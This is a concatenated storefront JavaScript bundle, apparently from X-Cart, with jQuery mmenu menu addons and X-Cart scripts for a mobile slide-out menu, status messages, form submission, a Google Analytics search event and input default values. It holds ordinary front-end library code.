Hammer(b[0],a.vendors.hammer);y.on("panstart",function(e){u(e.center[l.typeLower]),r.$slideOutNodes=h(),g=l.open_dir}).on(l.events+" panend",function(e){m>0&&e.preventDefault()}).on(l.events,function(e){if(d=e["delta"+l.typeUpper],l.negative&&(d=-d),d!=w&&(g=d>=w?l.open_dir:l.close_dir),w=d,w>a.threshold&&1==m){if(r.$html.hasClass(s.opened))return;m=2,i._openSetup(),i.trigger("opening"),r.$html.addClass(s.dragging),_=t(r.$wndw[v]()*p[v].perc,p[v].min,p[v].max)}2==m&&(f=t(w,10,_)-("front"==i.opts.offCanvas.zposition?_:0),l.negative&&(f=-f),c="translate"+l.typeUpper+"("+f+"px )",r.$slideOutNodes.css({"-webkit-transform":"-webkit-"+c,transform:c}))}).on("panend",function(){2==m&&(r.$html.removeClass(s.dragging),r.$slideOutNodes.css("transform",""),i[g==l.open_dir?"_openFinish":"close"]()),m=0})}}},add:function(){return"function"!=typeof Hammer||Hammer.VERSION<2?(e[n].addons[o].setup=function(){},void 0):(s=e[n]._c,i=e[n]._d,a=e[n]._e,s.add("dragging"),void 0)},clickAnchor:function(){}},e[n].defaults[o]={open:!1,maxStartPos:100,threshold:50,vendors:{hammer
9333:{}}},e[n].configuration[o]={width:{perc:.8,min:140,max:440},height:{perc:.8,min:140,max:880}};var s,i,a,r}(jQuery); 9334/* 9335 * jQuery mmenu fixedElements addon 9336 * mmenu.frebsite.nl 9337 * 9338 * Copyright (c) Fred Heusschen 9339 */ 9340!function(i){var s="mmenu",n="fixedElements";i[s].addons[n]={setup:function(){if(this.opts.offCanvas){this.opts[n],this.conf[n],o=i[s].glbl;var a=function(i){var s=this.conf.classNames[n].fixed;this.__refactorClass(i.find("."+s),s,"slideout").appendTo(o.$body)};a.call(this,o.$page),this.bind("setPage",a)}},add:function(){a=i[s]._c,t=i[s]._d,e=i[s]._e,a.add("fixed")},clickAnchor:function(){}},i[s].configuration.classNames[n]={fixed:"Fixed"};var a,t,e,o}(jQuery); 9341/* 9342 * jQuery mmenu iconPanels addon 9343 * mmenu.frebsite.nl 9344 * 9345 * Copyright (c) Fred Heusschen 9346 */ 9347!function(e){var n="mmenu",i="iconPanels";e[n].addons[i]={setup:function(){var a=this,l=this.opts[i];if(this.conf[i],d=e[n].glbl,"boolean"==typeof l&&(l={add:l}),"number"==typeof l&&(l={add:!0,visible:l}),"object"!=typeof l&&(l={}),l=this.opts[i]=e.extend(!0,{},e[n].defaults[i],l),l.visible++,l.add){this.$menu.addClass(s.iconpanel);for(var t=[],o=0;o<=l.visible;o++)t.push(s.iconpanel+"-"+o);t=t.join(" ");var c=function(n){var i=a.$menu.children("."+s.panel).removeClass(t),d=i.filter("."+s.subopened);d.removeClass(s.hidden).add(n).slice(-l.visible).each(function(n){e(this).addClass(s.iconpanel+"-"+n)})};this.bind("openPanel",c),this.bind("init",function(n){c.call(a,a.$menu.children("."+s.current)),l.hideNavbars&&n.removeClass(s.hasnavbar),n.each(function(){e(this).children("."+s.subblocker).length||e(this).prepend('<a href="#'+e(this).closest("."+s.panel).attr("id")+'" class="'+s.subblocker+'" />')})})}},add:function(){s=e[n]._c,a=e[n]._d,l=e[n]._e,s.add("iconpanel subblocker")},clickAnchor:function(){}},e[n].defaults[i]={add:!1,visible:3,hideNavbars:!1};var s,a,l,d}(jQuery); 9348/* 9349 * jQuery mmenu navbar addon 9350 * mmenu.frebsite.nl 9351 * 9352 * Copyright (c) Fred Heusschen 9353 */ 9354!function(n){var a="mmenu",e="navbars";n[a].addons[e]={setup:function(){var r=this,i=this.opts[e],c=this.conf[e];if(s=n[a].glbl,"undefined"!=typeof i){i instanceof Array||(i=[i]);var d={};n.each(i,function(s){var o=i[s];"boolean"==typeof o&&o&&(o={}),"object"!=typeof o&&(o={}),"undefined"==typeof o.content&&(o.content=["prev","title"]),o.content instanceof Array||(o.content=[o.content]),o=n.extend(!0,{},r.opts.navbar,o);var l=o.position,h=o.height;"number"!=typeof h&&(h=1),h=Math.min(4,Math.max(1,h)),"bottom"!=l&&(l="top"),d[l]||(d[l]=0),d[l]++;var f=n("<div />").addClass(t.navbar+" "+t.navbar+"-"+l+" "+t.navbar+"-"+l+"-"+d[l]+" "+t.navbar+"-size-"+h);d[l]+=h-1;for(var v=0,u=o.content.length;u>v;v++){var p=n[a].addons[e][o.content[v]]||!1;p?p.call(r,f,o,c):(p=o.content[v],p instanceof n||(p=n(o.content[v])),p.each(function(){f.append(n(this))}))}var b=Math.ceil(f.children().not("."+t.btn).length/h);b>1&&f.addClass(t.navbar+"-content-"+b),f.children("."+t.btn).length&&f.addClass(t.hasbtns),f.prependTo(r.$menu)});for(var o in d)r.$menu.addClass(t.hasnavbar+"-"+o+"-"+d[o])}},add:function(){t=n[a]._c,r=n[a]._d,i=n[a]._e,t.add("close hasbtns")},clickAnchor:function(){}},n[a].configuration[e]={breadcrumbSeparator:"/"},n[a].configuration.classNames[e]={panelTitle:"Title",panelNext:"Next",panelPrev:"Prev"};var t,r,i,s}(jQuery),/* 9355 * jQuery mmenu navbar addon breadcrumbs content 9356 * mmenu.frebsite.nl 9357 * 9358 * Copyright (c) Fred Heusschen 9359 */ 9360 function(n){var a="mmenu",e="navbars",t="breadcrumbs";n[a].addons[e][t]=function(e,t,r){var i=n[a]._c,s=n[a]._d;i.add("breadcrumbs separator"),e.append('<span class="'+i.breadcrumbs+'"></span>'),this.bind("init",function(a){a.removeClass(i.hasnavbar).each(function(){for(var a=[],e=n(this),t=n('<span class="'+i.breadcrumbs+'"></span>'),c=n(this).children().first(),d=!0;c&&c.length;){c.is("."+i.panel)||(c=c.closest("."+i.panel));var o=c.children("."+i.navbar).children("."+i.title).text();a.unshift(d?"<span>"+o+"</span>":'<a href="#'+c.attr("id")+'">'+o+"</a>"),d=!1,c=c.data(s.parent)}t.append(a.join('<span class="'+i.separator+'">'+r.breadcrumbSeparator+"</span>")).appendTo(e.children("."+i.navbar))})});var c=function(){var n=this.$menu.children("."+i.current),a=e.find("."+i.breadcrumbs),t=n.children("."+i.navbar).children("."+i.breadcrumbs);a.html(t.html())};this.bind("openPanel",c),this.bind("init",c)}}(jQuery),/* 9361 * jQuery mmenu navbar addon close content 9362 * mmenu.frebsite.nl 9363 * 9364 * Copyright (c) Fred Heusschen 9365 */ 9366 function(n){var a="mmenu",e="navbars",t="close";n[a].addons[e][t]=function(e){var t=n[a]._c,r=n[a].glbl;e.append('<a class="'+t.close+" "+t.btn+'" href="#"></a>');var i=function(n){e.find("."+t.close).attr("href","#"+n.attr("id"))};i.call(this,r.$page),this.bind("setPage",i)}}(jQuery),/* 9367 * jQuery mmenu navbar addon next content 9368 * mmenu.frebsite.nl 9369 * 9370 * Copyright (c) Fred Heusschen 9371 */ 9372 function(n){var a="mmenu",e="navbars",t="next";n[a].addons[e][t]=function(t){var r=n[a]._c;t.append('<a class="'+r.next+" "+r.btn+'" href="#"></a>');var i=function(n){n=n||this.$menu.children("."+r.current);var a=t.find("."+r.next),i=n.find("."+this.conf.classNames[e].panelNext),s=i.attr("href"),c=i.html();a[s?"attr":"removeAttr"]("href",s),a[s||c?"removeClass":"addClass"](r.hidden),a.html(c)};this.bind("openPanel",i),this.bind("init",function(){i.call(this)})}}(jQuery),/* 9373 * jQuery mmenu navbar addon prev content 9374 * mmenu.frebsite.nl 9375 * 9376 * Copyright (c) Fred Heusschen 9377 */ 9378 function(n){var a="mmenu",e="navbars",t="prev";n[a].addons[e][t]=function(t){var r=n[a]._c;t.append('<a class="'+r.prev+" "+r.btn+'" href="#"></a>'),this.bind("init",function(n){n.removeClass(r.hasnavbar)});var i=function(){var n=this.$menu.children("."+r.current),a=t.find("."+r.prev),i=n.find("."+this.conf.classNames[e].panelPrev);i.length||(i=n.children("."+r.navbar).children("."+r.prev));var s=i.attr("href"),c=i.html();a[s?"attr":"removeAttr"]("href",s),a[s||c?"removeClass":"addClass"](r.hidden),a.html(c)};this.bind("openPanel",i),this.bind("init",i)}}(jQuery),/* 9379 * jQuery mmenu navbar addon searchfield content 9380 * mmenu.frebsite.nl 9381 * 9382 * Copyright (c) Fred Heusschen 9383 */ 9384 function(n){var a="mmenu",e="navbars",t="searchfield";n[a].addons[e][t]=function(e){var t=n[a]._c,r=n('<div class="'+t.search+'" />').appendTo(e);"object"!=typeof this.opts.searchfield&&(this.opts.searchfield={}),this.opts.searchfield.add=!0,this.opts.searchfield.addTo=r}}(jQuery),/* 9385 * jQuery mmenu navbar addon title content 9386 * mmenu.frebsite.nl 9387 * 9388 * Copyright (c) Fred Heusschen 9389 */ 9390 function(n){var a="mmenu",e="navbars",t="title";n[a].addons[e][t]=function(t,r){var i=n[a]._c;t.append('<a class="'+i.title+'"></a>');var s=function(n){n=n||this.$menu.children("."+i.current);var a=t.find("."+i.title),s=n.find("."+this.conf.classNames[e].panelTitle);s.length||(s=n.children("."+i.navbar).children("."+i.title));var c=s.attr("href"),d=s.html()||r.title;a[c?"attr":"removeAttr"]("href",c),a[c||d?"removeClass":"addClass"](i.hidden),a.html(d)};
9390this.bind("openPanel",s),this.bind("init",function(){s.call(this)})}}(jQuery); 9391/* 9392 * jQuery mmenu searchfield addon 9393 * mmenu.frebsite.nl 9394 * 9395 * Copyright (c) Fred Heusschen 9396 */ 9397!function(e){function s(e){switch(e){case 9:case 16:case 17:case 18:case 37:case 38:case 39:case 40:return!0}return!1}var n="mmenu",a="searchfield";e[n].addons[a]={setup:function(){var o=this,d=this.opts[a],c=this.conf[a];r=e[n].glbl,"boolean"==typeof d&&(d={add:d}),"object"!=typeof d&&(d={}),d=this.opts[a]=e.extend(!0,{},e[n].defaults[a],d),this.bind("close",function(){this.$menu.find("."+t.search).find("input").blur()}),this.bind("init",function(n){if(d.add){switch(d.addTo){case"panels":var a=n;break;default:var a=e(d.addTo,this.$menu)}a.each(function(){var s=e(this);if(!s.is("."+t.panel)||!s.is("."+t.vertical)){if(!s.children("."+t.search).length){var n=c.form?"form":"div",a=e("<"+n+' class="'+t.search+'" />');if(c.form&&"object"==typeof c.form)for(var l in c.form)a.attr(l,c.form[l]);a.append('<input placeholder="'+d.placeholder+'" type="text" autocomplete="off" />'),s.hasClass(t.search)?s.replaceWith(a):s.prepend(a).addClass(t.hassearch)}if(d.noResults){var i=s.closest("."+t.panel).length;if(i||(s=o.$menu.children("."+t.panel).first()),!s.children("."+t.noresultsmsg).length){var r=s.children("."+t.listview).first();e('<div class="'+t.noresultsmsg+'" />').append(d.noResults)[r.length?"insertAfter":"prependTo"](r.length?r:s)}}}}),d.search&&e("."+t.search,this.$menu).each(function(){var n=e(this),a=n.closest("."+t.panel).length;if(a)var r=n.closest("."+t.panel),c=r;else var r=e("."+t.panel,o.$menu),c=o.$menu;var h=n.children("input"),u=o.__findAddBack(r,"."+t.listview).children("li"),f=u.filter("."+t.divider),p=o.__filterListItems(u),v="> a",m=v+", > span",b=function(){var s=h.val().toLowerCase();r.scrollTop(0),p.add(f).addClass(t.hidden).find("."+t.fullsubopensearch).removeClass(t.fullsubopen).removeClass(t.fullsubopensearch),p.each(function(){var n=e(this),a=v;(d.showTextItems||d.showSubPanels&&n.find("."+t.next))&&(a=m),e(a,n).text().toLowerCase().indexOf(s)>-1&&n.add(n.prevAll("."+t.divider).first()).removeClass(t.hidden)}),d.showSubPanels&&r.each(function(){var s=e(this);o.__filterListItems(s.find("."+t.listview).children()).each(function(){var s=e(this),n=s.data(l.sub);s.removeClass(t.nosubresults),n&&n.find("."+t.listview).children().removeClass(t.hidden)})}),e(r.get().reverse()).each(function(s){var n=e(this),i=n.data(l.parent);i&&(o.__filterListItems(n.find("."+t.listview).children()).length?(i.hasClass(t.hidden)&&i.children("."+t.next).not("."+t.fullsubopen).addClass(t.fullsubopen).addClass(t.fullsubopensearch),i.removeClass(t.hidden).removeClass(t.nosubresults).prevAll("."+t.divider).first().removeClass(t.hidden)):a||(n.hasClass(t.opened)&&setTimeout(function(){o.openPanel(i.closest("."+t.panel))},1.5*(s+1)*o.conf.openingInterval),i.addClass(t.nosubresults)))}),c[p.not("."+t.hidden).length?"removeClass":"addClass"](t.noresults),this.update()};h.off(i.keyup+"-searchfield "+i.change+"-searchfield").on(i.keyup+"-searchfield",function(e){s(e.keyCode)||b.call(o)}).on(i.change+"-searchfield",function(){b.call(o)})})}})},add:function(){t=e[n]._c,l=e[n]._d,i=e[n]._e,t.add("search hassearch noresultsmsg noresults nosubresults fullsubopensearch"),i.add("change keyup")},clickAnchor:function(){}},e[n].defaults[a]={add:!1,addTo:"panels",search:!0,placeholder:"Search",noResults:"No results found.",showTextItems:!1,showSubPanels:!0},e[n].configuration[a]={form:!1};var t,l,i,r}(jQuery); 9398/* 9399 * jQuery mmenu sectionIndexer addon 9400 * mmenu.frebsite.nl 9401 * 9402 * Copyright (c) Fred Heusschen 9403 */ 9404!function(e){var a="mmenu",r="sectionIndexer";e[a].addons[r]={setup:function(){var i=this,d=this.opts[r];this.conf[r],s=e[a].glbl,"boolean"==typeof d&&(d={add:d}),"object"!=typeof d&&(d={}),d=this.opts[r]=e.extend(!0,{},e[a].defaults[r],d),this.bind("init",function(a){if(d.add){switch(d.addTo){case"panels":var r=a;break;default:var r=e(d.addTo,this.$menu).filter("."+n.panel)}r.find("."+n.divider).closest("."+n.panel).addClass(n.hasindexer)}if(!this.$indexer&&this.$menu.children("."+n.hasindexer).length){this.$indexer=e('<div class="'+n.indexer+'" />').prependTo(this.$menu).append('<a href="#a">a</a><a href="#b">b</a><a href="#c">c</a><a href="#d">d</a><a href="#e">e</a><a href="#f">f</a><a href="#g">g</a><a href="#h">h</a><a href="#i">i</a><a href="#j">j</a><a href="#k">k</a><a href="#l">l</a><a href="#m">m</a><a href="#n">n</a><a href="#o">o</a><a href="#p">p</a><a href="#q">q</a><a href="#r">r</a><a href="#s">s</a><a href="#t">t</a><a href="#u">u</a><a href="#v">v</a><a href="#w">w</a><a href="#x">x</a><a href="#y">y</a><a href="#z">z</a>'),this.$indexer.children().on(t.mouseover+"-sectionindexer "+n.touchstart+"-sectionindexer",function(){var a=e(this).attr("href").slice(1),r=i.$menu.children("."+n.current),t=r.find("."+n.listview),s=!1,d=r.scrollTop(),h=t.position().top+parseInt(t.css("margin-top"),10)+parseInt(t.css("padding-top"),10)+d;r.scrollTop(0),t.children("."+n.divider).not("."+n.hidden).each(function(){s===!1&&a==e(this).text().slice(0,1).toLowerCase()&&(s=e(this).position().top+h)}),r.scrollTop(s!==!1?s:d)});var s=function(e){i.$menu[(e.hasClass(n.hasindexer)?"add":"remove")+"Class"](n.hasindexer)};this.bind("openPanel",s),s.call(this,this.$menu.children("."+n.current))}})},add:function(){n=e[a]._c,i=e[a]._d,t=e[a]._e,n.add("indexer hasindexer"),t.add("mouseover touchstart")},clickAnchor:function(e){return e.parent().is("."+n.indexer)?!0:void 0}},e[a].defaults[r]={add:!1,addTo:"panels"};var n,i,t,s}(jQuery); 9405/* 9406 * jQuery mmenu toggles addon 9407 * mmenu.frebsite.nl 9408 * 9409 * Copyright (c) Fred Heusschen 9410 */ 9411!function(t){var e="mmenu",c="toggles";t[e].addons[c]={setup:function(){var n=this;this.opts[c],this.conf[c],l=t[e].glbl,this.bind("init",function(e){this.__refactorClass(t("input",e),this.conf.classNames[c].toggle,"toggle"),this.__refactorClass(t("input",e),this.conf.classNames[c].check,"check"),t("input."+s.toggle+", input."+s.check,e).each(function(){var e=t(this),c=e.closest("li"),i=e.hasClass(s.toggle)?"toggle":"check",l=e.attr("id")||n.__getUniqueId();c.children('label[for="'+l+'"]').length||(e.attr("id",l),c.prepend(e),t('<label for="'+l+'" class="'+s[i]+'"></label>').insertBefore(c.children("a, span").last()))})})},add:function(){s=t[e]._c,n=t[e]._d,i=t[e]._e,s.add("toggle check")},clickAnchor:function(){}},t[e].configuration.classNames[c]={toggle:"Toggle",check:"Check"};var s,n,i,l}(jQuery);; 9412/* AUTOGENERATED: slidebar.js */ 9413/* vim: set ts=2 sw=2 sts=2 et: */ 9414 9415/** 9416 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 9417 * See https://www.x-cart.com/license-agreement.html for license details. 9418 */ 9419 9420function slidebar() { 9421 var self = this; 9422 jQuery(function () { 9423 xcart.trigger('mm-menu.before_create', jQuery('#slidebar')); 9424 jQuery('#slidebar').mmenu(self.options, self.configuration); 9425 9426 var api = jQuery('#slidebar').data('mmenu'); 9427 9428 if (!_.isUndefined(api)) { 9429 xcart.trigger('mm-menu.created', api); 9430 api.bind('closed', function () { 9431 api.closeAllPanels(); 9432 }); 9433 } 9434 9435 jQuery('.dropdown-menu#search_box').parent().on('shown.bs.dropdown', function () { 9436 jQuery('#header').addClass('hidden'); 9437 }); 9438 9439 jQuery('.dropdown-menu#search_box').parent().on('hidden.bs.dropdown', function () { 9440 jQuery('#header').removeClass('hidden'); 9441 }); 9442 }); 9443} 9444 9445slidebar.prototype.options = { 9446 extensions: ['pagedim-black'], 9447 navbar: { 9448 title: xcart.t('Menu') 9449 }, 9450 offCanvas: { 9451 pageSelector: "#page-wrapper" 9452 } 9453}; 9454 9455slidebar.prototype.configuration = { 9456 panelNodetype: "ul, ol" 9457}; 9458 9459xcart.bind('navbar.mobile.loaded', function () { 9460 xcart.autoload(slidebar); 9461});; 9462/* AUTOGENERATED: controller.js */ 9463/* vim: set ts=2 sw=2 sts=2 et: */ 9464 9465/** 9466 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 9467 * See https://www.x-cart.com/license-agreement.html for license details. 9468 */ 9469 9470var MESSAGE_INFO = 'info'; 9471var MESSAGE_WARNING = 'warning'; 9472var MESSAGE_ERROR = 'error'; 9473 9474/** 9475 * Controller 9476 */ 9477 9478// Constructor 9479function TopMessages(container) { 9480 if (!container) { 9481 return false;
9482 } 9483 9484 this.container = jQuery(container).eq(0); 9485 if (!this.container.length) { 9486 return false; 9487 } 9488 9489 this.messages = {}; 9490 9491 // Add listeners 9492 9493 // Close button 9494 jQuery('button.close', this.container).click( 9495 _.bind( 9496 function (event) { 9497 event.stopPropagation(); 9498 this.clearRecords(); 9499 9500 return false; 9501 }, 9502 this 9503 ) 9504 ).hover( 9505 function () { 9506 jQuery(this).addClass('close-hover'); 9507 }, 9508 function () { 9509 jQuery(this).removeClass('close-hover'); 9510 } 9511 ); 9512 9513 // Global event 9514 if ('undefined' != typeof (window.xcart)) { 9515 xcart.bind( 9516 'message', 9517 _.bind( 9518 function (event, data) { 9519 return this.messageHandler(data.message, data.type); 9520 }, 9521 this 9522 ) 9523 ); 9524 9525 xcart.bind( 9526 'messages', 9527 function (event, data) { 9528 for (var i in data) { 9529 xcart.trigger('message', data[i]); 9530 } 9531 } 9532 ); 9533 9534 xcart.bind( 9535 'clearMessages', 9536 _.bind( 9537 function (event) { 9538 this.clearRecords(); 9539 }, 9540 this 9541 ) 9542 ); 9543 } 9544 9545 // Remove dump items (W3C compatibility) 9546 jQuery('li.dump', this.container).remove(); 9547 9548 // Initial show 9549 if (!this.isVisible() && jQuery('li', this.container).length) { 9550 setTimeout( 9551 _.bind( 9552 function () { 9553 this.show(); 9554 9555 // Set initial timers 9556 jQuery('li.info', this.container).each( 9557 _.bind( 9558 function (idx, elm) { 9559 this.setTimer(elm); 9560 }, 9561 this 9562 ) 9563 ); 9564 }, 9565 this 9566 ), 9567 1000 9568 ); 9569 9570 } else { 9571 9572 // Set initial timers 9573 jQuery('li.info', this.container).each( 9574 _.bind( 9575 function (idx, elm) { 9576 this.setTimer(elm); 9577 }, 9578 this 9579 ) 9580 ); 9581 } 9582} 9583 9584/** 9585 * Properties 9586 */ 9587TopMessages.prototype.container = null; 9588TopMessages.prototype.to = null; 9589 9590TopMessages.prototype.ttl = 10000; 9591 9592/** 9593 * Methods 9594 */ 9595 9596// Check visibility 9597TopMessages.prototype.isVisible = function () { 9598 return this.container.css('display') != 'none'; 9599}; 9600 9601// Show widget 9602TopMessages.prototype.show = function () { 9603 this.container.slideDown(); 9604}; 9605 9606// Hide widget 9607TopMessages.prototype.hide = function (callback) { 9608 this.container.slideUp(callback); 9609}; 9610 9611TopMessages.prototype.getMessageFromText = function (element) { 9612 return element.find('.message').length > 0 9613 ? element.find('.message') 9614 : element; 9615}; 9616 9617TopMessages.prototype.getSameRecord = function (ul, text) { 9618 var self = this; 9619 9620 return ul.find('li').filter(function () { 9621 var htmlContent = jQuery('<div />').html(text); 9622 if (htmlContent.length > 0) { 9623 text = htmlContent.find('.message').length > 0 9624 ? htmlContent.find('.message').text() 9625 : text; 9626 } 9627 9628 if (text) { 9629 text = text.replace(/^[\s\n]+|[\s\n]+$/gm, ''); 9630 } 9631 9632 var realElement = self.getMessageFromText(jQuery(this)); 9633 var reg = new RegExp(text + ' \\\((\\\d*?)\\\)', 'i'); 9634 var realText = realElement.text().replace(/^[\s\n]+|[\s\n]+$/gm, ''); 9635 9636 return realText === text || realText.match(reg); 9637 }).get(0); 9638}; 9639 9640TopMessages.prototype.updateRecord = function (li) { 9641 var recordLi = jQuery(li).find('.message').length > 0 9642 ? jQuery(li).find('.message') 9643 : jQuery(li); 9644 var array = /(.*) \((\d*?)\)/i.exec(recordLi.text()); 9645 var oldText = array && array[1] 9646 ? array[1] 9647 : recordLi.text(); 9648 var oldIndex = array && array[2] 9649 ? array[2] 9650 : 0; 9651 9652 oldText = oldText.replace(/^[\s\n]+|[\s\n]+$/gm, ''); 9653 recordLi.text(oldText + ' (' + (intval(oldIndex) + 1) + ')'); 9654}; 9655 9656// Add record 9657TopMessages.prototype.addRecord = function (text, type) { 9658 if (!type 9659 || (MESSAGE_INFO != type && MESSAGE_WARNING != type && MESSAGE_ERROR != type) 9660 ) { 9661 type = MESSAGE_INFO; 9662 } 9663 9664 var ul = jQuery('ul', this.container).length 9665 ? jQuery('ul', this.container) 9666 : jQuery(document.createElement('UL')).appendTo(this.container); 9667 9668 var sameLi = this.getSameRecord(ul, text); 9669 var hash = objectHash.sha1({text: text, type: type}); 9670 9671 if (sameLi) { 9672 this.updateRecord(sameLi); 9673 li = sameLi; 9674 } else { 9675 var li = document.createElement('LI'); 9676 li.innerHTML = text; 9677 li.className = type; 9678 li.style.display = 'none'; 9679 9680 ul.append(li); 9681 } 9682 9683 li.hash = hash; 9684 this.messages[hash] = {text: text, type: type}; 9685 9686 if ( 9687 ul.find('li').length 9688 && !this.isVisible() 9689 ) { 9690 this.show(); 9691 } 9692 9693 jQuery(li).slideDown('fast'); 9694 9695 if (type == MESSAGE_INFO) { 9696 this.setTimer(li); 9697 } 9698}; 9699 9700// Clear record 9701TopMessages.prototype.hideRecord = function (li) { 9702 if (jQuery('li:not(.remove)', this.container).length == 1) { 9703 this.clearRecords(); 9704 9705 } else { 9706 jQuery(li).addClass('remove').slideUp( 9707 'fast', 9708 function () { 9709 jQuery(this).remove(); 9710 9711 if (this.messages && typeof li.hash !== 'undefined') { 9712 delete this.messages[li.hash]; 9713 } 9714 } 9715 ); 9716 } 9717}; 9718 9719// Clear all records 9720TopMessages.prototype.clearRecords = function () { 9721 var container = this.container; 9722 this.hide(function () { 9723 jQuery('li', container).remove(); 9724 this.messages = {}; 9725 }); 9726}; 9727 9728// Set record timer 9729TopMessages.prototype.setTimer = function (li) { 9730 li = jQuery(li).get(0); 9731 9732 if (li.timer) { 9733 clearTimeout(li.timer); 9734 li.timer = false;
9735 } 9736 9737 var o = this; 9738 li.timer = setTimeout( 9739 function () { 9740 o.hideRecord(li); 9741 }, 9742 this.ttl 9743 ); 9744}; 9745 9746TopMessages.prototype.hasVisibleMessages = function () { 9747 return Object.keys(this.messages).length > 0; 9748}; 9749 9750TopMessages.instance = null; 9751 9752// onmessage event handler 9753TopMessages.prototype.messageHandler = function (text, type) { 9754 this.addRecord(text, type); 9755}; 9756 9757jQuery(function () { 9758 TopMessages.instance = new TopMessages(jQuery('#status-messages')); 9759});; 9760/* AUTOGENERATED: button.js */ 9761/* vim: set ts=2 sw=2 sts=2 et: */ 9762 9763/** 9764 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 9765 * See https://www.x-cart.com/license-agreement.html for license details. 9766 */ 9767 9768function setFormAttribute(form, name, value) 9769{ 9770 form.elements[name].value = value; 9771} 9772 9773function setFormAction(form, action) 9774{ 9775 setFormAttribute('action', action); 9776} 9777 9778function submitForm(form, attrs) 9779{ 9780 jQuery.each( 9781 attrs, 9782 function (name, value) { 9783 var e = form.elements.namedItem(name); 9784 if (e) { 9785 e.value = value; 9786 } 9787 } 9788 ); 9789 9790 jQuery(form).submit(); 9791} 9792 9793function submitFormDefault(form, action) 9794{ 9795 var attrs = {}; 9796 if (typeof(action) != 'undefined' && action !== null) { 9797 attrs['action'] = action; 9798 } 9799 9800 submitForm(form, attrs); 9801} 9802 9803jQuery(document).ready(function () { 9804 jQuery('a.disabled').click(function(event){ 9805 event.preventDefault(); 9806 }); 9807});; 9808/* AUTOGENERATED: ga-search.js */ 9809/* vim: set ts=2 sw=2 sts=2 et: */ 9810 9811/** 9812 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 9813 * See https://www.x-cart.com/license-agreement.html for license details. 9814 */ 9815 9816define('googleAnalytics/base/searchEvent', [ 'googleAnalytics/event' ], function(Event) { 9817 return Event.extend({ 9818 namespace: 'search', 9819 9820 processReady () { 9821 jQuery('.search-product-form button[type=\'submit\'], .simple-search-product-form button[type=\'submit\']').click(_.bind(this.registerSearchSubstring, this)) 9822 }, 9823 9824 registerSearchSubstring (event) { 9825 var substring = jQuery(event.currentTarget).closest('form').find('input[name="substring"]').val() 9826 if (substring) { 9827 this.sendSearchSubstringEvent(substring, event) 9828 } 9829 }, 9830 9831 sendSearchSubstringEvent (substring, event) { 9832 } 9833 }); 9834});; 9835/* AUTOGENERATED: ga-search.js */ 9836/* vim: set ts=2 sw=2 sts=2 et: */ 9837 9838/** 9839 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 9840 * See https://www.x-cart.com/license-agreement.html for license details. 9841 */ 9842 9843define('googleAnalytics/searchEvent', [ 'googleAnalytics/base/searchEvent', 'googleAnalytics/event', 'googleAnalytics/core' ], function(GASearchEventBase, Event, gaCore) { 9844 9845 let GASearchEvent = GASearchEventBase.extend({ 9846 is_sent: false, 9847 9848 sendSearchSubstringEvent (substring, event) { 9849 var self = this 9850 if (self.is_sent || !gaCore.instance.isAvailable()) { 9851 return 9852 } 9853 event.preventDefault() 9854 self.sendEvent('search', { 9855 search_term: substring, 9856 event_callback () { 9857 self.createFunctionWithTimeout(function (e) { 9858 self.is_sent = true 9859 e.currentTarget.click() 9860 }, event, 1000) 9861 } 9862 }) 9863 } 9864 9865 }) 9866 9867 GASearchEvent.instance = new GASearchEvent(); 9868 9869 return GASearchEvent; 9870});; 9871/* AUTOGENERATED: text.js */ 9872/* vim: set ts=2 sw=2 sts=2 et: */ 9873 9874/** 9875 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 9876 * See https://www.x-cart.com/license-agreement.html for license details. 9877 */ 9878 9879xcart.bind( 9880 'load', 9881 function(event) { 9882 jQuery('.input-field-wrapper').each(function () { 9883 var obj = jQuery(this); 9884 9885 var inputField = jQuery('input,textarea', obj); 9886 var defaultValue = xcart.getCommentedData(obj, 'defaultValue'); 9887 var type = inputField.attr('type'); 9888 9889 if ( 9890 '' !== defaultValue 9891 && null !== defaultValue 9892 && 'checkbox' != type 9893 && 'radio' != type 9894 && 'file' != type 9895 && 'image' != type 9896 && 'submit' != type 9897 && 'button' != type 9898 ) { 9899 9900 if ('' === inputField.val()) { 9901 inputField.val(defaultValue).addClass('default-value'); 9902 } 9903 9904 inputField.click( 9905 function () { 9906 if (defaultValue === inputField.val()) { 9907 inputField.removeClass('default-value').val(''); 9908 } 9909 } 9910 ).blur( 9911 function () { 9912 if ('' === inputField.val()) { 9913 inputField.addClass('default-value').val(defaultValue); 9914 } 9915 } 9916 ); 9917 9918 inputField 9919 .parents('form') 9920 .submit( 9921 function() { 9922 if (defaultValue === inputField.val()) { 9923 inputField.val(''); 9924 } 9925 9926 return true; 9927 } 9928 ); 9929 } 9930 }); 9931 } 9932);; 9933/* AUTOGENERATED: layout_block_controller.js */ 9934/* vim: set ts=2 sw=2 sts=2 et: */ 9935 9936/** 9937 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 9938 * See https://www.x-cart.com/license-agreement.html for license details. 9939 */ 9940 9941if (_.isUndefined(jQuery.getQueryParameters)) { 9942 jQuery.extend({ 9943 getQueryParameters : function(str) { 9944 return (str || document.location.search).replace(/(^\?)/,'').split("&").map(function(n){return n = n.split("="),this[n[0]] = n[1],this}.bind({}))[0]; 9945 } 9946 }); 9947} 9948 9949function LayoutBlockWidget(base) 9950{ 9951 LayoutBlockWidget.superclass.constructor.apply(this, arguments); 9952 9953 this.widgetClass = this.base.data('widget'); 9954 9955 this.widgetTarget = xcart.getTarget(); 9956 9957 xcart.bind('layout.block.reload', _.bind(this.reload, this)); 9958 9959 this.base.data('controller', this); 9960} 9961 9962extend(LayoutBlockWidget, ALoadable); 9963 9964LayoutBlockWidget.prototype.reloadIfError = false;
